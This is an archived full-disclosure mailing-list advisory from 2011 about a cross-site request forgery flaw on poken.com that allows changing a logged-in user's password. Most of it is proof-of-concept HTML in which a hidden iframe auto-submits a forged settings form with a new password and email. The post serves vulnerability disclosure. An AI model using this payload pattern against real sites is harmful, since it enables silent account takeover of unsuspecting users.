full-disclosure - Poken.com CSRF vulnerability

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Message-ID: <000001cc1241$f7666980$e6333c80$@net>
Date: Sat, 14 May 2011 16:19:41 +0200
From: "Z" <Z@...hall.net>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Poken.com CSRF vulnerability

Poken is a technology that utilizes a proprietary Near Field Communication
(NFC) technology to allow the exchange of online social networking data
between two keychain accessories.

Poken.com is the website where poken users can edit their profiles, and
browse other poken friends they already met.

There is a plain CSRF vulnerability at poken.com, which can be exploited in
order to change the password of the logged-in poken user.
The site uses no random CSRF tokens, or asks for the current password before
changing to the new one.

POC HTML code generated by the OWASP CRSFTester:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Poken.com CSRF POC by Z - OWASP CRSFTester Demonstration</title>
</head>

<body>
<H2>Poken.com CSRF POC by Z - OWASP CRSFTester Demonstration</H2>
<iframe name="evilframe"
style="visibility:hidden;height:0px;width:0px;border:0px"></iframe>
<script>

    var evilframe = window.frames["evilframe"];

    evilframe.document.body.innerHTML=
'<form method="POST" id="evil" name="evil"
action="http://user.poken.com:80/settings">' + 
'<input type="hidden" name="settings[alias]" value="ALIAS"/>' + 
'<input type="hidden" name="settings[email]" value="email@...mple.com"/>' + 
'<input type="hidden" name="settings[password_new]" value="NewPassword"/>' +

'<input type="hidden" name="settings[password_repeat]"
value="NewPassword"/>' + 
'<input type="hidden" name="settings[lang]" value="en"/>' + 
'<input type="hidden" name="settings[country]" value="US"/>' + 
'<input type="hidden" name="settings[timezone]" value="Europe/Budapest"/>'
'</form>';
evilframe.document.evil.submit();

</script>
</body>
</html>

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